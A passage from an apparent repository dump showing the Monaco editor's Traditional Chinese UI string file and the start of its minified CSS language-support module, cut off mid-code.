    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.zh-tw.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.zh-tw\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (再次出現)\"],\"vs/base/browser/ui/findinput/findInput\":[\"輸入\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"大小寫須相符\",\"全字拼寫須相符\",\"使用規則運算式\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"錯誤: {0}\",\"警告: {0}\",\"資訊: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Command\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"錯誤\",\"警告\",\"資訊\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}，選擇器\",\"選擇器\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"快速選擇器。輸入以縮小結果範圍。\",\"快速選擇器\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"摺疊\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"因其中一個檔案過大而無法比較。\"],\"vs/editor/browser/widget/diffReview\":[\"關閉\",\"差異 {0} / {1}: 原始 {2}，{3} 行，修改後 {4}，{5} 行\",\"空白\",\"原始 {0},修改後{1}: {2\",\"+ 修改後 {0}: {1}\",\"- 原始 {0}: {1}\",\"移至下一個差異\",\"移至上一個差異\"],\"vs/editor/common/config/commonEditorConfig\":[\"編輯器\",\"控制字型家族。\",\"控制字型寬度。\",\"控制字型大小 (以像素為單位)。\",\"控制行高。使用 0 會從 fontSize 計算 lineHeight。\",\"控制字元間距 (以像素為單位)\",\"控制行號顯示。可能的值有 'on'、'off' 及 'relative'。'relative' 會從目前的資料指標位置顯示行數。\",\"要在其中顯示垂直尺規的資料行\",\"執行文字相關導覽或作業時將作為文字分隔符號的字元\",\"與 Tab 相等的空格數量。當 `editor.detectIndentation` 已開啟時，會根據檔案內容覆寫此設定。\",\"必須是 'number'。請注意，值 \\\"auto\\\" 已由 `editor.detectIndentation` 設定取代。\",\"在按 Tab 時插入空格。當 `editor.detectIndentation` 已開啟時，會根據檔案內容覆寫此設定。\",\"必須是 'boolean'。請注意，值 \\\"auto\\\" 已由 `editor.detect Indentation` 設定取代。\",\"開啟檔案時，會依據檔案內容來偵測 `editor.tabSize` 及 `editor.insertSpaces`。\",\"控制選取範圍是否有圓角\",\"控制編輯器是否會捲動到最後一行之後\",\"控制是否會顯示迷你地圖\",\"自動隱藏迷你地圖滑桿\",\"呈現行內的實際字元 (而不是彩色區塊)\",\"限制迷你地圖的寬度，以呈現最多的資料行\",\"控制編譯器選取範圍是否預設為尋找工具的搜尋字串\",\"控制編譯器內選取多字元或多行內文是否開啟選取範圍尋找功能\",\"一律不換行。\",\"依檢視區寬度換行。\",\"於 'editor.wordWrapColumn' 換行。\",\"當檢視區縮至最小並設定 'editor.wordWrapColumn' 時換行。\",\"控制是否自動換行。可以是:\\n - 'off' (停用換行),\\n - 'on' (檢視區換行),\\n - 'wordWrapColumn' (於 'editor.wordWrapColumn' 換行`) 或\\n - 'bounded' (當檢視區縮至最小並設定 'editor.wordWrapColumn' 時換行).\",\"當 `editor.wordWrap` 為 [wordWrapColumn] 或 [bounded] 時，控制編輯器中的資料行換行。\",\"控制換行的縮排。可以是 [無]、[相同] 或 [縮排]。\",\"滑鼠滾輪捲動事件的 'deltaX' 與 'deltaY' 所使用的乘數\",\"對應Windows和Linux的'Control'與對應OSX的'Command'\",\"對應Windows和Linux的'Alt'與對應OSX的'Option'\",\"用於新增多個滑鼠游標的修改程式。`ctrlCmd` 會對應到 Windows 及 Linux 上的 `Control` 以及 OSX 上的 `Command`。[移至定義] 及 [開啟連結] 滑鼠手勢將會適應以避免和 multicursor 修改程式衝突。\",\"允許在字串內顯示即時建議。\",\"允許在註解中顯示即時建議。\",\"允許在字串與註解以外之處顯示即時建議。\",\"控制是否應在輸入時自動顯示建議\",\"控制延遲顯示快速建議的毫秒數\",\"當您輸入時啟用彈出視窗，顯示參數文件與類型資訊\",\"控制編輯器是否應在左括號後自動插入右括號\",\"控制編輯器是否應在輸入一行後自動格式化\",\"控制編輯器是否應自動設定貼上的內容格式。格式器必須可供使用，而且格式器應該能夠設定文件中一個範圍的格式。\",\"控制當使用者輸入, 貼上或移行時，編輯器必須自動調整縮排\\n語言的縮排規則必須可用\",\"控制輸入觸發字元時，是否應自動顯示建議\",\"控制除了 'Tab' 外，是否也藉由按下 'Enter' 接受建議。如此可避免混淆要插入新行或接受建議。設定值'smart'表示在文字變更同時，只透過Enter接受建議。\",\"控制認可字元是否應接受建議。例如在 JavaScript 中，分號 (';') 可以是接受建議並鍵入該字元的認可字元。\",\"將程式碼片段建議顯示於其他建議的頂端。\",\"將程式碼片段建議顯示於其他建議的下方。\",\"將程式碼片段建議與其他建議一同顯示。\",\"不顯示程式碼片段建議。\",\"控制程式碼片段是否隨其他建議顯示，以及其排序方式。\",\"控制複製時不選取任何項目是否會複製目前程式行。\",\"控制是否應根據文件中的單字計算自動完成。\",\"建議小工具的字型大小\",\"建議小工具的行高\",\"控制編輯器是否應反白顯示與選取範圍相似的符合項\",\"控制編輯器是否應反白顯示出現的語意符號\",\"控制可在概觀尺規中相同位置顯示的裝飾項目數\",\"控制是否應在概觀尺規周圍繪製邊框。\",\"控制游標動畫樣式，可能的值為 'blink'、'smooth'、'phase'、'expand' 和 'solid'\",\"使用滑鼠滾輪並按住 Ctrl 時，縮放編輯器的字型\",\"控制游標樣式。接受的值為 'block'、'block-outline'、'line'、'line-thin'、'underline' 及 'underline-thin'\",\"啟用連字字型\",\"控制游標是否應隱藏在概觀尺規中。\",\"控制編輯器轉譯空白字元的方式，可能為 'none'、'boundary' 及 'all'。'boundary' 選項不會轉譯字組間的單一空格。\",\"控制編輯器是否應顯示控制字元\",\"控制編輯器是否應顯示縮排輔助線\",\"控制編輯器應如何轉譯目前反白的行，可能的值有 'none'、'gutter'、'line' 和 'all'。\",\"控制編輯器是否顯示程式碼濾鏡\",\"控制編輯器是否已啟用程式碼摺疊功能\",\"自動隱藏摺疊控制向\",\"當選取某側的括號時，強調顯示另一側的配對括號。\",\"控制編輯器是否應轉譯垂直字符邊界。字符邊界最常用來進行偵錯。\",\"插入和刪除接在定位停駐點後的空白字元\",\"移除尾端自動插入的空白字元\",\"讓預覽編輯器在使用者按兩下其內容或點擊 Escape 時保持開啟。\",\"控制編輯器是否允許透過拖放動作移動選取範圍。\",\"編輯器將使用平台 API 以偵測螢幕助讀程式附加。\",\"編輯器將會為螢幕助讀程式的使用方式永久地最佳化。\",\"編輯器不會為螢幕助讀程式的使用方式進行最佳化。\",\"控制編輯器是否應於已為螢幕助讀程式最佳化的模式中執行。\",\"控制編輯器是否應偵測連結且讓它可點擊\",\"控制 Diff 編輯器要並排或內嵌顯示差異\",\"控制 Diff 編輯器是否將開頭或尾端空白字元的變更顯示為差異\",\"控制 Diff 編輯器是否要為新增的/移除的變更顯示 +/- 標記\",\"控制是否應支援 Linux 主要剪貼簿。\"],\"vs/editor/common/config/editorOptions\":[\"編輯器現在無法存取。按Alt+F1尋求選項\",\"編輯器內容\"],\"vs/editor/common/controller/cursor\":[\"執行命令時發生未預期的例外狀況。\"],\"vs/editor/common/model/textModelWithTokens\":[\"將輸入語彙基元化時，模式失敗。\"],\"vs/editor/common/modes/modesRegistry\":[\"純文字\"],\"vs/editor/common/services/bulkEdit\":[\"這些檔案已同時變更: {0}\",\"未進行任何編輯\",\"在 {1} 個檔案中進行了 {0} 項文字編輯\",\"在一個檔案中進行了 {0} 項文字編輯\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"目前游標位置行的反白顯示背景色彩。\",\"目前游標位置行之周圍框線的背景色彩。\",\"反白顯示範圍的背景色彩，例如 Quick Open 與尋找功能。\",\"編輯器游標的色彩。\",\"編輯器游標的背景色彩。允許自訂區塊游標重疊的字元色彩。\",\"編輯器中空白字元的色彩。\",\"編輯器縮排輔助線的色彩。\",\"編輯器行號的色彩。\",\"編輯器尺規的色彩\",\"編輯器程式碼濾鏡的前景色彩\",\"成對括號背景色彩\",\"成對括號邊框色彩\",\"預覽檢視編輯器尺規的邊框色彩.\",\"編輯器邊框的背景顏色,包含行號與字形圖示的邊框.\",\"編輯器內錯誤提示線的前景色彩.\",\"編輯器內錯誤提示線的邊框色彩.\",\"編輯器內警告提示線的前景色彩.\",\"編輯器內警告提示線的邊框色彩.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"移至方括弧\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"將插入點左移\",\"將插入點右移\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"調換字母\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"剪下\",\"複製\",\"貼上\",\"隨語法醒目提示複製\"],\"vs/editor/contrib/comment/common/comment\":[\"切換行註解\",\"加入行註解\",\"移除行註解\",\"切換區塊註解\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"顯示編輯器內容功能表\"],\"vs/editor/contrib/find/browser/findWidget\":[\"尋找\",\"尋找\",\"上一個符合項\",\"下一個相符項\",\"在選取範圍中尋找\",\"關閉\",\"取代\",\"取代\",\"取代\",\"全部取代\",\"切換取代模式\",\"只會將前 999 筆結果醒目提示，但所有尋找作業會在完整文字上執行。\",\"{0} / {1}\",\"沒有結果\"],\"vs/editor/contrib/find/common/findController\":[\"尋找\",\"尋找下一個\",\"尋找上一個\",\"尋找下一個選取項目\",\"尋找上一個選取項目\",\"取代\",\"將選取項目加入下一個找到的相符項\",\"將選取項目加入前一個找到的相符項中\",\"將最後一個選擇項目移至下一個找到的相符項\",\"將最後一個選擇項目移至前一個找到的相符項\",\"選取所有找到的相符項目\",\"變更所有發生次數\",\"顯示下一個尋找字詞\",\"顯示上一個尋找字詞\"],\"vs/editor/contrib/folding/browser/folding\":[\"展開\",\"以遞迴方式展開\",\"摺疊\",\"以遞迴方式摺疊\",\"全部摺疊\",\"全部展開\",\"摺疊層級 {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"在行 {0} 編輯了 1 項格式\",\"在行 {1} 編輯了 {0} 項格式\",\"在行 {0} 與行 {1} 之間編輯了 1 項格式\",\"在行 {1} 與行 {2} 之間編輯了 {0} 項格式\",\"將文件格式化\",\"將選取項目格式化\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"找不到 '{0}' 的定義\",\"找不到任何定義\",\" - {0} 個定義\",\"移至定義\",\"在一側開啟定義\",\"預覽定義\",\"找不到 '{0}' 的任何實作\",\"找不到任何實作\",\" – {0} 個實作\",\"前往實作\",\"預覽實作\",\"找不到 '{0}' 的任何類型定義\",\"找不到任何類型定義\",\" – {0} 個定義\",\"移至類型定義\",\"預覽類型定義\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"按一下以顯示 {0} 項定義。\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"移至下一個錯誤或警告\",\"移至上一個錯誤或警告\",\"編輯器標記導覽小工具錯誤的色彩。\",\"編輯器標記導覽小工具警告的色彩。\",\"編輯器標記導覽小工具的背景。\"],\"vs/editor/contrib/hover/browser/hover\":[\"動態顯示\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"正在載入...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"以上一個值取代\",\"以下一個值取代\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"將行向上複製\",\"將行向下複製\",\"上移一行\",\"下移一行\",\"遞增排序行\",\"遞減排序行\",\"修剪尾端空白\",\"刪除行\",\"縮排行\",\"凸排行\",\"在上方插入行\",\"在下方插入行\",\"左邊全部刪除\",\"刪除所有右方項目\",\"連接線\",\"轉置游標周圍的字元數\",\"轉換到大寫\",\"轉換到小寫\"],\"vs/editor/contrib/links/browser/links\":[\"按住 Cmd 並按一下按鍵以追蹤連結\",\"按住 Ctrl 並按一下滑鼠按鈕可連入連結\",\"按住 Cmd 並按一下滑鼠以執行命令\",\"按住 Ctrl 並按一下滑鼠以執行命令\",\"按住Alt並點擊以追蹤連結\",\"按住 Alt 並按一下滑鼠以執行命令\",\"抱歉，因為此連結的語式不正確，所以無法加以開啟: {0}\",\"抱歉，因為此連結遺失目標，所以無法加以開啟。\",\"開啟連結\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"在上方加入游標\",\"在下方加入游標\",\"在行尾新增游標\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"觸發參數提示\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}，提示\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"顯示修正 ({0})\",\"顯示修正\",\"Quick Fix\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" - {0} 個參考\",\"尋找所有參考\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"正在載入...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"個符號位於 {0} 中的第 {1} 行第 {2} 欄\",\"1 個符號位於 {0}, 完整路徑 {1}\",\"{0} 個符號位於 {1}, 完整路徑 {2}\",\"找不到結果\",\"在 {0} 中找到 1 個符號\",\"在 {1} 中找到 {0} 個符號\",\"在 {1} 個檔案中找到 {0} 個符號\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"無法解析檔案。\",\"{0} 個參考\",\"{0} 個參考\",\"無法預覽\",\"參考\",\"沒有結果\",\"參考\",\"預覽檢視標題區域的背景色彩。\",\"預覽檢視標題的色彩。\",\"預覽檢視標題資訊的色彩。\",\"預覽檢視之框線與箭頭的色彩。\",\"預覽檢視中結果清單的背景色彩。\",\"預覽檢視結果列表中行節點的前景色彩\",\"預覽檢視結果列表中檔案節點的前景色彩\",\"在預覽檢視之結果清單中選取項目時的背景色彩。\",\"在預覽檢視之結果清單中選取項目時的前景色彩。\",\"預覽檢視編輯器的背景色彩。\",\"預覽檢視編輯器邊框(含行號或字形圖示)的背景色彩。\",\"在預覽檢視編輯器中比對時的反白顯示色彩。\",\"預覽檢視編輯器中比對時的反白顯示色彩。\"],\"vs/editor/contrib/rename/browser/rename\":[\"沒有結果。\",\"已成功將 '{0}' 重新命名為 '{1}'。摘要: {2}\",\"抱歉，無法執行重新命名。\",\"重新命名符號\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"為輸入重新命名。請鍵入新名稱，然後按 Enter 以認可。\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"展開選取\",\"縮小選取\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"接受 '{0}' 時接受了插入下列文字: {1}\",\"觸發建議\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"建議小工具的背景色彩。\",\"建議小工具的邊界色彩。\",\"建議小工具的前景色彩。\",\"建議小工具中所選項目的背景色彩。\",\"建議小工具中相符醒目提示的色彩。\",\"進一步了解...{0}\",\"{0}，建議，有詳細資料\",\"{0}，建議\",\"簡易說明...{0}\",\"正在載入...\",\"無建議。\",\"{0}，接受\",\"{0}，建議，有詳細資料\",\"{0}，建議\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"切換 TAB 鍵移動焦點\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"讀取存取期間 (例如讀取變數時) 符號的背景色彩。\",\"寫入存取期間 (例如寫入變數時) 符號的背景色彩。\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"關閉\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"預設組態覆寫\",\"設定要針對 {0} 語言覆寫的編輯器設定。\",\"設定要針對語言覆寫的編輯器設定。\",\"無法註冊 '{0}'。這符合用於描述語言專用編輯器設定的屬性模式 '\\\\\\\\[.*\\\\\\\\]$'。請使用 'configurationDefaults' 貢獻。\",\"無法註冊 '{0}'。此屬性已經註冊。\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"已按下 ({0})。請等待第二個套索鍵...\",\"按鍵組合 ({0}, {1}) 不是命令。\"],\"vs/platform/message/common/message\":[\"關閉\",\"稍後\",\"取消\"],\"vs/platform/theme/common/colorRegistry\":[\"色彩格式無效。請使用 #RGB、#RGBA、#RRGGBB 或 #RRGGBBAA\",\"工作台中使用的色彩。\",\"整體的前景色彩。僅當未被任何元件覆疊時，才會使用此色彩。\",\"整體錯誤訊息的前景色彩。僅當未被任何元件覆蓋時，才會使用此色彩。\",\"提供附加訊息的前景顏色,例如標籤\",\"焦點項目的整體框線色彩。只在沒有任何元件覆寫此色彩時，才會加以使用。\",\"項目周圍的額外框線，可將項目從其他項目中區隔出來以提高對比。\",\"使用中項目周圍的額外邊界，可將項目從其他項目中區隔出來以提高對比。\",\"作業區域選取的背景顏色(例如輸入或文字區域)。請注意，這不適用於編輯器中的選取。\",\"文字分隔符號的顏色。\",\"內文連結的前景色彩\",\"內文使用連結的前景色彩\",\"提示及建議文字的前景色彩。\",\"文內引用區塊背景色彩。\",\"引用文字的框線顏色。\",\"文字區塊的背景顏色。\",\"小工具的陰影色彩，例如編輯器中的尋找/取代。\",\"輸入方塊的背景。\",\"輸入方塊的前景。\",\"輸入方塊的框線。\",\"輸入欄位中可使用之項目的框線色彩。\",\"文字輸入替代字符的前景顏色。\",\"資訊嚴重性的輸入驗證背景色彩。\",\"資訊嚴重性的輸入驗證邊界色彩。\",\"資訊警告的輸入驗證背景色彩。\",\"警告嚴重性的輸入驗證邊界色彩。\",\"錯誤嚴重性的輸入驗證背景色彩。\",\"錯誤嚴重性的輸入驗證邊界色彩。\",\"下拉式清單的背景。\",\"下拉式清單的前景。\",\"下拉式清單的框線。\",\"當清單/樹狀為使用中狀態時，焦點項目的清單/樹狀背景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為使用中狀態時，焦點項目的清單/樹狀前景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為使用中狀態時，所選項目的清單/樹狀背景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為使用中狀態時，所選項目的清單/樹狀前景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為非使用中狀態時，所選項目的清單/樹狀背景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為使用中狀態時，所選項目的清單/樹狀前景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中則沒有。\",\"當清單/樹狀為非使用中狀態時，所選項目的清單/樹狀背景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中者則沒有。\",\"當清單/樹狀為使用中狀態時，所選項目的清單/樹狀前景色彩。使用中的清單/樹狀有鍵盤焦點，非使用中則沒有。\",\"使用滑鼠暫留在項目時的清單/樹狀背景。\",\"滑鼠暫留在項目時的清單/樹狀前景。\",\"使用滑鼠四處移動項目時的清單/樹狀拖放背景。\",\"在清單/樹狀內搜尋時，相符醒目提示的清單/樹狀前景色彩。\",\"分組標籤的快速選擇器色彩。\",\"分組邊界的快速選擇器色彩。\",\"按鈕前景色彩。\",\"按鈕背景色彩。\",\"暫留時的按鈕背景色彩。\",\"標記的背景顏色。標記為小型的訊息標籤,例如搜尋結果的數量。\",\"標記的前景顏色。標記為小型的訊息標籤,例如搜尋結果的數量。\",\"指出在捲動該檢視的捲軸陰影。\",\"捲軸滑桿的背景顏色。\",\"動態顯示時捲軸滑桿的背景顏色。\",\"使用中狀態下捲軸滑桿的背景顏色。\",\"長時間運行進度條的背景色彩.\",\"編輯器的背景色彩。\",\"編輯器的預設前景色彩。\",\"編輯器小工具的背景色彩，例如尋找/取代。\",\"編輯器小工具的邊界色彩。小工具選擇擁有邊界或色彩未被小工具覆寫時，才會使用色彩。\",\"編輯器選取範圍的色彩。\",\"為選取的文字顏色高對比化\",\"非使用中之編輯器選取範圍的色彩。\",\"選取時，內容相同之區域的色彩。\",\"符合目前搜尋的色彩。\",\"符合其他搜尋的色彩。\",\"限制搜尋之範圍的色彩。\",\"在顯示了動態顯示的單字下方醒目提示。\",\"編輯器動態顯示的背景色彩。\",\"編輯器動態顯示的框線色彩。\",\"使用中之連結的色彩。\",\"插入文字的背景色彩。\",\"移除文字的背景色彩。\",\"插入的文字外框色彩。\",\"移除的文字外框色彩。\",\"目前內嵌合併衝突中的深色標題背景。\",\"目前內嵌合併衝突中的內容背景。\",\"傳入內嵌合併衝突中的深色標題背景。\",\"傳入內嵌合併衝突中的內容背景。\",\"內嵌合併衝突中的共同始祖標題背景\",\"內嵌合併衝突中的共同始祖內容背景。\",\"內嵌合併衝突中標頭及分隔器的邊界色彩。\",\"目前內嵌合併衝突的概觀尺規前景。\",\"傳入內嵌合併衝突的概觀尺規前景。\",\"內嵌合併衝突中的共同上階概觀尺規前景。\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.zh-tw.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/language/css/cssMode.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-css version: 1.3.3(69ad62c9851c1708c61446b6ac2218b99fcdd428)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/css/workerManager\",[\"require\",\"exports\"],e)}(function(e,n){function t(e){var n,t,i=new r(function(e,r){n=e,t=r},function(){});return e.then(n,t),i}Object.defineProperty(n,\"__esModule\",{value:!0});var r=monaco.Promise,i=12e4,o=function(){function e(e){var n=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return n._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return n._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInterval),this._configChangeListener.dispose(),this._stopWorker()},e.prototype._checkIfIdle=function(){if(this._worker){var e=Date.now()-this._lastUsedTime;e>i&&this._stopWorker()}},e.prototype._getClient=function(){return this._lastUsedTime=Date.now(),this._client||(this._worker=monaco.editor.createWebWorker({moduleId:\"vs/language/css/cssWorker\",label:this._defaults.languageId,createData:{languageSettings:this._defaults.diagnosticsOptions,languageId:this._defaults.languageId}}),this._client=this._worker.getProxy()),this._client},e.prototype.getLanguageServiceWorker=function(){for(var e=this,n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];var i;return t(this._getClient().then(function(e){i=e}).then(function(t){return e._worker.withSyncedResources(n)}).then(function(e){return i}))},e}();n.WorkerManager=o}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vscode-languageserver-types/main\",[\"require\",\"exports\"],e)}(function(e,n){Object.defineProperty(n,\"__esModule\",{value:!0});var t;!function(e){function n(e,n){return{line:e,character:n}}function t(e){var n=e;return A.defined(n)&&A.number(n.line)&&A.number(n.character)}e.create=n,e.is=t}(t=n.Position||(n.Position={}));var r;!function(e){function n(e,n,r,i){if(A.number(e)&&A.number(n)&&A.number(r)&&A.number(i))return{start:t.create(e,n),end:t.create(r,i)};if(t.is(e)&&t.is(n))return{start:e,end:n};throw new Error(\"Range#create called with invalid arguments[\"+e+\", \"+n+\", \"+r+\", \"+i+\"]\")}function r(e){var n=e;return A.defined(n)&&t.is(n.start)&&t.is(n.end)}e.create=n,e.is=r}(r=n.Range||(n.Range={}));var i;!function(e){function n(e,n){return{uri:e,range:n}}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.string(n.uri)||A.undefined(n.uri))}e.create=n,e.is=t}(i=n.Location||(n.Location={}));var o;!function(e){e.Error=1,e.Warning=2,e.Information=3,e.Hint=4}(o=n.DiagnosticSeverity||(n.DiagnosticSeverity={}));var a;!function(e){function n(e,n,t,r,i){var o={range:e,message:n};return A.defined(t)&&(o.severity=t),A.defined(r)&&(o.code=r),A.defined(i)&&(o.source=i),o}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&A.string(n.message)&&(A.number(n.severity)||A.undefined(n.severity))&&(A.number(n.code)||A.string(n.code)||A.undefined(n.code))&&(A.string(n.source)||A.undefined(n.source))}e.create=n,e.is=t}(a=n.Diagnostic||(n.Diagnostic={}));var u;!function(e){function n(e,n){for(var t=[],r=2;r<arguments.length;r++)t[r-2]=arguments[r];var i={title:e,command:n};return A.defined(t)&&t.length>0&&(i.arguments=t),i}function t(e){var n=e;return A.defined(n)&&A.string(n.title)&&A.string(n.title)}e.create=n,e.is=t}(u=n.Command||(n.Command={}));var s;!function(e){function n(e,n){return{range:e,newText:n}}function t(e,n){return{range:{start:e,end:e},newText:n}}function r(e){return{range:e,newText:\"\"}}e.replace=n,e.insert=t,e.del=r}(s=n.TextEdit||(n.TextEdit={}));var c;!function(e){function n(e,n){return{textDocument:e,edits:n}}function t(e){var n=e;return A.defined(n)&&g.is(n.textDocument)&&Array.isArray(n.edits)}e.create=n,e.is=t}(c=n.TextDocumentEdit||(n.TextDocumentEdit={}));var d=function(){function e(e){this.edits=e}return e.prototype.insert=function(e,n){this.edits.push(s.insert(e,n))},e.prototype.replace=function(e,n){this.edits.push(s.replace(e,n))},e.prototype[\"delete\"]=function(e){this.edits.push(s.del(e))},e.prototype.add=function(e){this.edits.push(e)},e.prototype.all=function(){return this.edits},e.prototype.clear=function(){this.edits.splice(0,this.edits.length)},e}(),f=function(){function e(e){var n=this;this._textEditChanges=Object.create(null),e&&(this._workspaceEdit=e,e.documentChanges?e.documentChanges.forEach(function(e){var t=new d(e.edits);n._textEditChanges[e.textDocument.uri]=t}):e.changes&&Object.keys(e.changes).forEach(function(t){var r=new d(e.changes[t]);n._textEditChanges[t]=r}))}return Object.defineProperty(e.prototype,\"edit\",{get:function(){return this._workspaceEdit},enumerable:!0,configurable:!0}),e.prototype.getTextEditChange=function(e){if(g.is(e)){if(this._workspaceEdit||(this._workspaceEdit={documentChanges:[]}),!this._workspaceEdit.documentChanges)throw new Error(\"Workspace edit is not configured for versioned document changes.\");var n=e,t=this._textEditChanges[n.uri];if(!t){var r=[],i={textDocument:n,edits:r};this._workspaceEdit.documentChanges.push(i),t=new d(r),this._textEditChanges[n.uri]=t}return t}if(this._workspaceEdit||(this._workspaceEdit={changes:Object.create(null)}),!this._workspaceEdit.changes)throw new Error(\"Workspace edit is not configured for normal text edit changes.\");var t=this._textEditChanges[e];if(!t){var r=[];this._workspaceEdit.changes[e]=r,t=new d(r),this._textEditChanges[e]=t}return t},e}();n.WorkspaceChange=f;var l;!function(e){function n(e){return{uri:e}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)}e.create=n,e.is=t}(l=n.TextDocumentIdentifier||(n.TextDocumentIdentifier={}));var g;!function(e){function n(e,n){return{uri:e,version:n}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)&&A.number(n.version)}e.create=n,e.is=t}(g=n.VersionedTextDocumentIdentifier||(n.VersionedTextDocumentIdentifier={}));var m;!function(e){function n(e,n,t,r){return{uri:e,languageId:n,version:t,text:r}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)&&A.string(n.languageId)&&A.number(n.version)&&A.string(n.text)}e.create=n,e.is=t}(m=n.TextDocumentItem||(n.TextDocumentItem={}));var 